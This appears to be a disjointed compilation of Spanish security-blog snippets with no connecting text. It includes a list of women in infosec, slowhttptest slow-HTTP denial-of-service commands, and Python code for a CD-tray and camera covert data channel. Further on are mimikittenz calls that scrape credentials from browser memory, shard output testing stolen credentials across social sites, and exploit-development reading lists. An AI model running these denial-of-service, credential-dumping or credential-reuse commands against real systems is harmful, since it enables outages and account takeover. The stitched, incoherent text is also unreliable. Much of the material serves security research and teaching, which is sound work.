1. Window Snyder (@window): es la CSO de Fastly y co-autora de Threat Modeling, una guía práctica para la seguridad de aplicaciones.
2. Lesley Carhart (@hacks4pancakes): trabaja para respuesta de incidentes en Motorola Solutions y se define como una princesa ciber-guerrera de amplio espectro. Su sitio web es tisiphone.net. 
3. Sandra Toms (@sandra001): una geek del big data y también (nada más y nada menos) la vicepresidenta y comisaria de la Conferencia RSA.
4. Jen Ellis (@Infosecjen):  vicepresidenta de la comunidad y asuntos públicos de Rapid7. Se centra en que todos trabajen juntos y en avanzar en el diálogo en la industria.
5. Shannon Leitz (@devsecops): ingeniera de seguridad de la información y en la nube en Intuit. En 2014, Shannon recibió el Premio Scott Cook por desarrollar un innovador Programa de Seguridad en la Nube que permite proteger los datos sensibles en AWS.
6. Kasha Gauthier (@kashagauthier): Kasha es directora de estrategia y marketing de RSA. También está en el comité de la Iniciativa Nacional para la Ciber Educación (NICE).
7. Wendy Nather (@RCISCwendy): es la directora de investigación de Retail Cyber Intelligence Sharing Center. Su blog es http://idoneous-security.blogspot.com/
8. Juliette Kayyem (@juliettekayyem): es la autora y anfitriona del podcast WGBH Security Mom. Recientemente, trabajaba como secretaria asistente del presidente Obama para asuntos intergubernamentales en el Departamento de Seguridad Nacional.
9. Ann Barron-DiCamillo (@annie_bdc): es la directora de tecnología de Strategic Cyber Ventures. Tiene 18 años de experiencia en seguridad y en 2015 SC Magazine la nombró como una de las mujeres más influyentes en Seguridad de TI.
10. Emili Evripidou (@Emil_i): es la gerente de seguridad de la información en Deloitte. También es fundadora y directora de Women in Security group, una organización sin ánimo de lucro destinada a elevar el perfil de las mujeres en el campo de seguridad de la información.
11. Cecily Joseph (@cecilyjosephcr): es la vicepresidenta de la responsabilidad corporativa de Symantec. En la Comisión de San Francisco recibió el Premio de Derechos Humanos sobre la Condición de la Mujer por su trabajo en la promoción de la igualdad de género.
12. Christina Ayiotis (@christinayiotis): es una abogada especialista en ciberseguridad reconocida internacionalmente. Actualmente es consultora de Cyber Sabbatical.
13. Runa A. Sandvik (@runasand): es director de seguridad de la información en The New York Times. Echa un vistazo a este impresionante vídeo hackeando un rifle de francotirador "inteligente".
14. Katie Moussouris (@k8em0): es la jefa de política de HackerOne. En un esfuerzo por hacer que Internet sea más seguro, Katie aconseja a los legisladores, investigadores y clientes sobre seguridad.
15. Eleanor Dallaway (@InfosecEditor): es editora de Infosecurity Magazine. Ha sido reconocida por su genialidad y fue ganadora del premio One to Watch en los Premios de las mujeres influyentes en Tecnología (EWT) de 2013.
16. Bev Robb (@teksquisite): está trabajando actualmente como editora de tecnología de seguridad en Fortscale. Ella es una blogger de seguridad e investigadora de Darknet. Su blog es: https://teksecurityblog.com.
17. Elinor Mills (@elinormills): es una entusiasta de la seguridad/hacker y vicepresidenta de contenidos y estrategia de medios en Bateman Group. 
18. Masha Sedova (@modMasha): es directora senior de compromiso y confianza de Salesforce. Se puede extraer una de sus fantásticas presentaciones en la transformación de la conciencia de seguridad aquí.
19. Parisa Tabriz (@laparisa): es la directora de ingeniería de seguridad de Chrome en Google. Es conocida por explotar los navegadores web antes de que los malos sean capaces de hacerlo.
20. SecuriTay (@SwiftOnSecurity): añade un poco de humor de seguridad a tu día a día.

• Binni Shah (@binitamshah): evangelista de Linux. Analista de malware y desarrolladora de kernel.
• Mercè Molist Ferrer (@mercemolist): periodista amante de la cultura hacker. Ha escrito en los principales españoles. En los últimos 20 años ha acumulado una gran cantidad de información y contactos, que la llevaron a crear el proyecto Hackstory y el libro Hackstory.es.
• María Garcia (@mgarciacase): editora del blog A Penny of Security y empleada pública, precisamente, dentro del área de seguridad IT.
• Maite Moreno (@mmorenog): Ingeniera de Telecomunicación. Analista de Seguridad y Malware. Respuesta ante incidentes. Colaboradora habitual del genial blog http://www.securityartwork.es.
• Yaiza Rubio (@yrubiosec): Miembro del Instituto de Ciencias Forenses de la UAM y colaboradora del Centro de Análisis y Prospectiva de la Guardia Civil. Da cursos de postgrado en análisis de inteligencia, de seguridad y de código abierto y también se dedica a la publicación de contenido científico y técnico.
• Eva Suarez (@EvaSuarez22): actualmente trabaja en Eleven Path como ingeniera de desarrollo de productos. Especialista en Big Data y colaboradora del proyecto Sinfonier.
• Oona Windytan (@windyoona): Hacker de "señales" y programadora en Finlandia. Autora del blog técnico Absorptions. 
• hasherezade(@hasherezade): la polaca es una de las mejores analistas de malware y reversers, muy focalizada en ransomware. Escribe posts técnicos para malwarebytes (https://blog.malwarebytes.com/author/hasherezade) y también es investigadora independiente(https://hshrzd.wordpress.com).
• Jovi Umawing(@joviannfeed): analista de malware de MalwareBytes, venía de Trendmicro.
• Gabriela Nicolao (@rove4ever):Malware Analyst. Assassin's Creed fan.
• Ruth Barbacil (@33root): argentina, actualmente trabaja en Deloitte. 
• Shei Winker (@UnaPibaGeek): Ethical Hacking, Break Dance, Graffitis, estar despeinada y algunas cosas más ;). Su blog: http://www.semecayounexploit.com/
• Yamila Levalle (@ylevalle): Passionate about Information Security. CISSP, Systems Engineer, Programmer, Investor, Entrepreneur and many other things.

pégeme despasito..

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://myseceureserver/resources/index.html -x 24 -p 3

 

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://myseceureserver/resources/loginform.html -x 10 -p 3

slowhttptest -R -u http://host.example.com/ -t HEAD -c 1000 -a 10 -b 3000 -r 500

slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://myseceureserver/resources/index.html -p 3 

#!/usr/bin/python
import os
import time

# Start with CD tray closed
os.system("eject -t")
time.sleep(15)
os.system("eject -T")
time.sleep(15)
os.system("eject -t")
time.sleep(15)

prev = 0

def emit(str):
    global prev

    for b in str:
        for i in range(0,8):
            bit = (ord(b) >> i) & 1 
            
            if bit == 0:
                manc = [0,1]
            else:
                manc = [1,0]

            for bv in manc:            
                print(bv)
                if bv == 1:
                    if not prev == 1:
                        os.system("eject -T")
                    time.sleep(4)
                else:
                    os.system("eject -t")
                    time.sleep(4)
                prev = bv

emit("AZhello")

#!/usr/bin/python
import math
from picamera.array import PiRGBArray
from picamera import PiCamera
import time
import cv2
import numpy as np 
from itertools import tee

def window(iterable, size):
    iters = tee(iterable, size)
    for i in range(1, size):
        for each in iters[i:]:
            next(each, None)
    return zip(*iters)


def emit(str):
    global prev
    out = []
    for b in str:
        for i in range(0,8):
            bit = (ord(b) >> i) & 1

            if bit == 0:
                out.append(0)
                out.append(1)
            else:
                out.append(1)
                out.append(0)
    return out

preamble = emit("AZ")

def process(x):
    m = [sum(y) / len(y) for y in zip(*x)][1]

    for i in range(0,len(x)):
        v1=x[i:len(x)]
        new = []
        for v in v1:
            if v[1] > m:
                new.append(v[0])
                new.append(v[0])
            else:
                new.append(v[0])
        if new[0:len(preamble)] == preamble:
            mdec = mancdec(new)
            print("Data: ",tobytes(mdec[0:len(mdec) - (len(mdec) % 8)]))
            break
def binary(arr):
    m = 0
    s = 0
    for o in arr:
        s = s +(o * (2**m))
        m = m + 1
    return s

def mancdec(arr):
    out = []
    for i in range(0,len(arr),2):
        if arr[i:i+2] == [0,1]:
            out.append(0)
        elif arr[i:i+2] == [1,0]:
            out.append(1)
    return out

def tobytes(arr):
    out = ""
    for i in range(0,len(arr),8):
        bits = arr[i:i+8]
        out += chr(binary(bits))
    return out

camera = PiCamera()
camera.resolution = (320, 240)
camera.framerate = 30
rawCapture = PiRGBArray(camera, size=camera.resolution)
 
# allow the camera to warmup
time.sleep(0.1)
 
bits = []

# from http://www.pyimagesearch.com/2014/09/15/python-compare-two-images/
def mse(imageA, imageB):
    # the 'Mean Squared Error' between the two images is the
    # sum of the squared difference between the two images;
    # NOTE: the two images must have the same dimension
    err = np.sum((imageA.astype("float") - imageB.astype("float")) ** 2)
    err /= float(imageA.shape[0] * imageA.shape[1])
    
    # return the MSE, the lower the error, the more "similar"
    # the two images are
    return err


def extract(data):
    out = []
    x = [0,0]
    c = 0
    old = None

    for d in data:
        c += 1
        x[d] += 1
        if (not old == None and not d == old) or c == len(data):
            if c == len(data):
                out.append((d,x[d]))
            else:
                out.append((d^1,x[d^1]))
                x[d^1] = 0
        old = d

    nout = []
    for o in out:
        if o[1] > 3:
            nout.append(o)


    return nout
    
old = None
trained = False

imgl = []
trainv = []

for frame in camera.capture_continuous(rawCapture, format="bgr", use_video_port=True):
    image = frame.array
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    gray = cv2.adaptiveThreshold(gray,255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C,cv2.THRESH_BINARY,11,2)

    if not old == None and trained == False:
        #print(chr(27) + "[2J")
        print("Training...")
        count = 0
        simid = -1
        simv = float("inf")

        for img in imgl:
            s = mse(gray,img[0])
            if s < simv:
                simid = count
                simv = s

            count += 1
        print("Similarity: ",simv)
        if simv > 2600:
            imgl.append([gray,1])
            simid = len(imgl)-1
        else:
            imgl[simid][1]+=1
            imgl[simid][0] = gray

        trainv = []
        for i in range(0,len(imgl)):
            if imgl[i][1] > 20:
                trainv.append([imgl[i][0],imgl[i][1]])
            if len(trainv) == 2:
                break

        if len(trainv) == 2:
            print("Trained...")
            trained = True        
     
    elif trained:
        simid = -1
        simv = float("inf")
        count = 0
        for img in trainv:
            s = mse(gray,img[0])
            if s < simv:
                simid = count
                simv = s
            count += 1

        trainv[simid][0] = gray
        trainv[simid][1] += 1
        print(chr(27) + "[2J")
        print("Current bit: ",simid)

        bits.append(simid)
        d = extract(bits)
        if len(d) > 8:
            process(d)
    else:
        imgl.append([gray,1])

    old = image        
    rawCapture.truncate(0)

sudo apt-get update
sudo apt-get install python-opencv
sudo apt-get install python-pip
sudo pip install picamera
sudo pip install numpy

Windows stack overflows

• Win32 Buffer Overflows (Location, Exploitation and Prevention) - by Dark spyrit [1999]
• Writing Stack Based Overflows on Windows - by Nish Bhalla’s [2005]
• Stack Smashing as of Today - by Hagen Fritsch [2009]

Windows heap overflows

• Third Generation Exploitation smashing heap on 2k - by Halvar Flake [2002]
• Exploiting the MSRPC Heap Overflow Part 1 - by Dave Aitel (MS03-026) [September 2003]
• Exploiting the MSRPC Heap Overflow Part 2 - by Dave Aitel (MS03-026) [September 2003]
• Windows heap overflow penetration in black hat - by David Litchfield [2004]
• Glibc Adventures: The Forgotten Chunk - by François Goichon [2015]
• Pseudomonarchia jemallocum - by argp & huku
• The House Of Lore: Reloaded - by blackngel [2010]
• Malloc Des-Maleficarum - by blackngel [2009]
• free() exploitation technique - by huku
• Understanding the heap by breaking it - by Justin N. Ferguson [2007]
• The use of set_head to defeat the wilderness - by g463
• The Malloc Maleficarum - by Phantasmal Phantasmagoria [2005]
• Exploiting The Wilderness - by Phantasmal Phantasmagoria [2004]
• Advanced Doug lea's malloc exploits - by jp

Kernel based Windows overflows

• How to attack kernel based vulns on windows was done - by a Polish group called “sec-labs” [2003]
• Sec-lab old whitepaper
• Sec-lab old exploit
• Windows Local Kernel Exploitation (based on sec-lab research) - by S.K Chong [2004]
• How to exploit Windows kernel memory pool - by SoBeIt [2005]
• Exploiting remote kernel overflows in windows - by Eeye Security
• Kernel-mode Payloads on Windows in uninformed - by Matt Miller
• Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
• BH US 2007 Attacking the Windows Kernel
• Remote and Local Exploitation of Network Drivers
• Exploiting Comon Flaws In Drivers
• I2OMGMT Driver Impersonation Attack
• Real World Kernel Pool Exploitation
• Exploit for windows 2k3 and 2k8
• Alyzing local privilege escalations in win32k
• Intro to Windows Kernel Security Development
• There’s a party at ring0 and you’re invited
• Windows kernel vulnerability exploitation

Return Oriented Programming

• The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls
• Blind return-oriented programming
• Sigreturn-oriented Programming
• Jump-Oriented Programming: A New Class of Code-Reuse Attack
• Out of control: Overcoming control-flow integrity
• ROP is Still Dangerous: Breaking Modern Defenses
• Loop-Oriented Programming(LOP): A New Code Reuse Attack to Bypass Modern Defenses - by Bingchen Lan, Yan Li, Hao Sun, Chao Su, Yao Liu, Qingkai Zeng [2015]
• Systematic Analysis of Defenses Against Return-Oriented Programming -by R. Skowyra, K. Casteel, H. Okhravi, N. Zeldovich, and W. Streilein [2013]
• Return-oriented programming without returns -by S.Checkoway, L. Davi, A. Dmitrienko, A. Sadeghi, H. Shacham, and M. Winandy [2010]
• Jump-oriented programming: a new class of code-reuse attack -by T. K. Bletsch, X. Jiang, V. W. Freeh, and Z. Liang [2011]
• Stitching the gadgets: on the ineffectiveness of coarse-grained control-flow integrity protection - by L. Davi, A. Sadeghi, and D. Lehmann [2014]
• Size does matter: Why using gadget-chain length to prevent code-reuse attacks is hard - by E. Göktas, E.Athanasopoulos, M. Polychronakis, H. Bos, and G.Portokalidis [2014]

Windows memory protections

• Data Execution Prevention
• /GS (Buffer Security Check)
• /SAFESEH
• ASLR
• SEHOP

Bypassing filter and protections

• Third Generation Exploitation smashing heap on 2k - by Halvar Flake [2002]
• Creating Arbitrary Shellcode In Unicode Expanded Strings - by Chris Anley
• Advanced windows exploitation - by Dave Aitel [2003]
• Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server - by David Litchfield
• Reliable heap exploits and after that Windows Heap Exploitation (Win2KSP0 through WinXPSP2) - by Matt Conover in cansecwest 2004
• Safely Searching Process Virtual Address Space - by Matt Miller [2004]
• IE exploit and used a technology called Heap Spray
• Bypassing hardware-enforced DEP - by Skape (Matt Miller) and Skywing (Ken Johnson) [October 2005]
• Exploiting Freelist[0] On XP Service Pack 2 - by Brett Moore [2005]
• Kernel-mode Payloads on Windows in uninformed
• Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
• Exploiting Comon Flaws In Drivers
• Heap Feng Shui in JavaScript by Alexander sotirov [2007]
• Understanding and bypassing Windows Heap Protection - by Nicolas Waisman [2007]
• Heaps About Heaps - by Brett moore [2008]
• Bypassing browser memory protections in Windows Vista - by Mark Dowd and Alex Sotirov [2008]
• Attacking the Vista Heap - by ben hawkes [2008]
• Return oriented programming Exploitation without Code Injection - by Hovav Shacham (and others ) [2008]
• Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8 - by Cesar Cerrudo [2008]
• Defeating DEP Immunity Way - by Pablo Sole [2008]
• Practical Windows XP2003 Heap Exploitation - by John McDonald and Chris Valasek [2009]
• Bypassing SEHOP - by Stefan Le Berre Damien Cauquil [2009]
• Interpreter Exploitation : Pointer Inference and JIT Spraying - by Dionysus Blazakis[2010]
• Write-up of Pwn2Own 2010 - by Peter Vreugdenhil
• All in one 0day presented in rootedCON - by Ruben Santamarta [2010]
• DEP/ASLR bypass using 3rd party - by Shahin Ramezany [2013]

Typical windows exploits

• Real-world HW-DEP bypass Exploit - by Devcode
• Bypassing DEP by returning into HeapCreate - by Toto
• First public ASLR bypass exploit by using partial overwrite - by Skape
• Heap spray and bypassing DEP - by Skylined
• First public exploit that used ROP for bypassing DEP in adobe lib TIFF vulnerability
• Exploit codes of bypassing browsers memory protections
• PoC’s on Tokken TokenKidnapping . PoC for 2k3 -part 1 - by Cesar Cerrudo
• PoC’s on Tokken TokenKidnapping . PoC for 2k8 -part 2 - by Cesar Cerrudo
• An exploit works from win 3.1 to win 7 - by Tavis Ormandy KiTra0d
• Old ms08-067 metasploit module multi-target and DEP bypass
• PHP 6.0 Dev str_transliterate() Buffer overflow – NX + ASLR Bypass
• SMBv2 Exploit - by Stephen Fewer
• Microsoft IIS 7.5 remote heap buffer overflow - by redpantz

Exploit development tutorial series

• Corelan Team
  • Exploit writing tutorial part 1 : Stack Based Overflows
  • Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode
  • Exploit writing tutorial part 3 : SEH Based Exploits
  • Exploit writing tutorial part 3b : SEH Based Exploits – just another example
  • Exploit writing tutorial part 4 : From Exploit to Metasploit – The basics
  • Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development
  • Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR
  • Exploit writing tutorial part 7 : Unicode – from 0x00410041 to calc
  • Exploit writing tutorial part 8 : Win32 Egg Hunting
  • Exploit writing tutorial part 9 : Introduction to Win32 shellcoding
  • Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s Cube
  • Exploit writing tutorial part 11 : Heap Spraying Demystified
• Fuzzysecurity
  • Part 1: Introduction to Exploit Development
  • Part 2: Saved Return Pointer Overflows
  • Part 3: Structured Exception Handler (SEH)
  • Part 4: Egg Hunters
  • Part 5: Unicode 0x00410041
  • Part 6: Writing W32 shellcode
  • Part 7: Return Oriented Programming
  • Part 8: Spraying the Heap Chapter 1: Vanilla EIP
  • Part 9: Spraying the Heap Chapter 2: Use-After-Free
  • Heap Overflows For Humans 101
  • Heap Overflows For Humans 102
  • Heap Overflows For Humans 102.5
  • Heap Overflows For Humans 103
  • Heap Overflows For Humans 103.5
• Securitysift
  • Windows Exploit Development – Part 1: The Basics
  • Windows Exploit Development – Part 2: Intro to Stack Based Overflows
  • Windows Exploit Development – Part 3: Changing Offsets and Rebased Modules
  • Windows Exploit Development – Part 4: Locating Shellcode With Jumps
  • Windows Exploit Development – Part 5: Locating Shellcode With Egghunting
  • Windows Exploit Development – Part 6: SEH Exploits
  • Windows Exploit Development – Part 7: Unicode Buffer Overflows
• Whitehatters Academy
  • Intro to Windows kernel exploitation 1/N: Kernel Debugging
  • Intro to Windows kernel exploitation 2/N: HackSys Extremely Vulnerable Driver
  • Intro to Windows kernel exploitation 3/N: My first Driver exploit
  • Intro to Windows kernel exploitation 3.5/N: A bit more of the HackSys Driver
  • Backdoor 103: Fully Undetected
  • Backdoor 102
  • Backdoor 101

Tools

• angr - Platform-agnostic binary analysis framework developed at UCSB's Seclab.
• BARF - Multiplatform, open source Binary Analysis and Reverse engineering Framework.
• binnavi - Binary analysis IDE for reverse engineering based on graph visualization.
• Bokken - GUI for Pyew and Radare.
• Capstone - Disassembly framework for binary analysis and reversing, with support for many architectures and bindings in several languages.
• codebro - Web based code browser using clang to provide basic code analysis.
• dnSpy - .NET assembly editor, decompiler and debugger.
• Evan's Debugger (EDB) - A modular debugger with a Qt GUI.
• GDB - The GNU debugger.
• GEF - GDB Enhanced Features, for exploiters and reverse engineers.
• hackers-grep - A utility to search for strings in PE executables including imports, exports, and debug symbols.
• IDA Pro - Windows disassembler and debugger, with a free evaluation version.
• Immunity Debugger - Debugger for malware analysis and more, with a Python API.
• ltrace - Dynamic analysis for Linux executables.
• objdump - Part of GNU binutils, for static analysis of Linux binaries.
• OllyDbg - An assembly-level debugger for Windows executables.
• PANDA - Platform for Architecture-Neutral Dynamic Analysis
• PEDA - Python Exploit Development Assistance for GDB, an enhanced display with added commands.
• pestudio - Perform static analysis of Windows executables.
• Process Monitor - Advanced monitoring tool for Windows programs.
• Pyew - Python tool for malware analysis.
• Radare2 - Reverse engineering framework, with debugger support.
• SMRT - Sublime Malware Research Tool, a plugin for Sublime 3 to aid with malware analyis.
• strace - Dynamic analysis for Linux executables.
• Udis86 - Disassembler library and tool for x86 and x86_64.
• Vivisect - Python tool for malware analysis.
• X64dbg - An open-source x64/x32 debugger for windows.

• Microsoft Visual Studio 2015
• zlib 1.2.8 or newer
• unicorn-engine 0.9 

• Clona el repositorio: git clone https://github.com/develbranch/TinyAntivirus.git.
• Build: Core engine, Console y módulo scan.
• Cambia al directorio Release y ejecuta TinyAvConsole.exe.

TinyAvConsole.exe [options]

C:\build>TinyAvConsole.exe -d C:\sample
------------------------------------------------------
TinyAntivirus version 0.1
Copyright (C) 2016, Quang Nguyen. All rights reserved.
Website: http://develbranch.com
------------------------------------------------------
Scanning ...
C:\sample\calc.EXE
        W32.Sality.PE Disinfected
C:\sample\container.zip                                                 OK
C:\sample\container.zip>DiskView.exe                                    OK
C:\sample\container.zip>DMON.SYS                                        OK
C:\sample\container.zip>sub_container.zip                               OK
C:\sample\container.zip>sub_container.zip>NOTEPAD.EXE
        W32.Sality.PE Deleted
C:\sample\dbgview.chm                                                   OK
C:\sample\sub\gmer.EXE
        W32.Sality.PE Disinfected

=============================================
Scanned       : 4 file(s) (10 object(s))
Detected      : 3 file(s)
Removed       : 3 file(s)
Access denied : 0 file(s)

C:\build>

•     Gmail
•     Office365
•     Outlook Web

•     Xero
•     MYOB

•     Juniper SSL-VPN
•     Citrix NetScaler
•     Remote Desktop Web Access 2012

•     Jira
•     Github
•     Bugzilla
•     Zendesk
•     Cpanel

•     Malwr
•     VirusTotal
•     AnubisLabs

•     Dropbox
•     Microsoft Onedrive
•     AWS Web Services
•     Slack
•     Twitter
•     Facebook

[mimikittenz.MemProcInspector]::AddRegex("<NameOfTarget>","<regex_here>")

$matches=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")

• Chromium y Google Chrome desde la versión 4.0.211.0
• Firefox desde la versión 4; con Firefox 17, Mozilla integra una lista de sitios webs que soportan HSTS
• Opera desde la versión 12
• Safari en OS X Mavericks
• Internet Explorer 11 en Windows 8.1 y Windows 7 cuando se instale KB 3058515 (lanzado en junio de 2015 con Windows Update)
• Microsoft Edge e Internet Explorer 11 en Windows 10

1. Balbuzard

2. de4dot

3. FLOSS

4. iheartxor

5. NoMoreXOR

6. PackerAttacker

7. unpacker

8. unxor

9. VirtualDeobfuscator

10. XORBruteForcer

11. XORSearch

12. XORStrings

13. xortool

$ java -jar shard-1.2.jar -u username-here -p password-here
21:16:25.950 [+] Running in single credential mode
21:16:30.302 [+] username-here:password-here - Reddit, Instagram

$ java -jar shard-1.2.jar -f /tmp/creds.txt
21:16:39.501 [+] Running in multi-credential mode
21:16:39.516 [+] Parsed 2 credentials
21:16:42.794 [+] username1:password1 - Reddit, Instagram
21:16:45.189 [+] username2:password2 - Facebook, LinkedIn, Twitter

$ java -jar shard-1.2.jar -l
Available modules:
        Facebook
        LinkedIn
        Reddit
        Twitter
        Instagram

<infile>     <-> The script file
<outfile>     <-> The protected output file
<key>        <-> The key string used to encrypt the script
[-r]         <-> Require the user who runs the protected executable supplies the key for it to run I.E ./script.elf <key>

ryan@elfmaster:~/git/sherlocked$ ./script.py
hello I am a python script
ryan@elfmaster:~/git/sherlocked$ ./sherlocked script.py script.elf p4ssw0rd /usr/bin/python -r
[+] The user who executes script.elf must supply password: p4ssw0rd
[+] Encoding payload data
[+] Encoding payload struct
[+] Building msg program
[+] utils/stripx exists, so using it to strip section headers off of DRM archive
[+] /usr/bin/upx exists, so using it to compress script.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   5003224 ->    324236    6.48%  linux/ElfAMD   script.elf                    

Packed 1 file.
Successfully created script.elf
ryan@elfmaster:~/git/sherlocked$ ./script.elf
This message requires that you supply a key to decrypt
ryan@elfmaster:~/git/sherlocked$ ./script.elf p4ssw0rd
hello I am a python script
ryan@elfmaster:~/git/sherlocked$ 

#!/bin/sh
echo "Content-Type:text/plain"
​echo ""
echo "HTTP_PROXY='$HTTP_PROXY'"

curl -H ‘Proxy: AFFECTED’ http://my-server-name/cgi-bin/test.cgi

•     CVE-2016-5385: PHP
•     CVE-2016-5386: Go
•     CVE-2016-5387: Apache HTTP Server
•     CVE-2016-5388: Apache Tomcat
•     CVE-2016-1000109: HHVM
•     CVE-2016-1000110: Python

copype amd64 C:\WinPE_amd64

Dism /Mount-Image /ImageFile:"C:\WinPE_amd64\media\sources\boot.wim" /index:1 /MountDir:"C:\WinPE_amd64\mount"

Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-WMI.cab"  
Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-WMI_en-us.cab"
 
Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-NetFX.cab"  
Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-NetFX_en-us.cab"
 
Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-Scripting.cab"  
Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-Scripting_en-us.cab"
 
Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-PowerShell.cab"  
Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-PowerShell_en-us.cab"

Dism /Add-Driver /Image:"C:\WinPE_amd64\mount" /Driver:"C:\DriversToEmbed" /Recurse

[LaunchApps]
wpeinit.exe
powershell.exe, -NoExit -NoLogo -ExecutionPolicy Bypass

MakeWinPEMedia /ISO C:\WinPE_amd64 C:\WinPE_amd64\WinPE_amd64.iso